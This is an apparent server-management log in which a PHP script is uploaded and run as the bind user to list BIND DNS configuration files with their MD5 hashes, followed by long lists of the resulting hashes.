MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:07:46: Establishing a connection
2026-04-30 15:07:46: 

PUT: /tmp/pkp995816

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:07:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp995816; rm /tmp/pkp995816'

2026-04-30 15:07:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
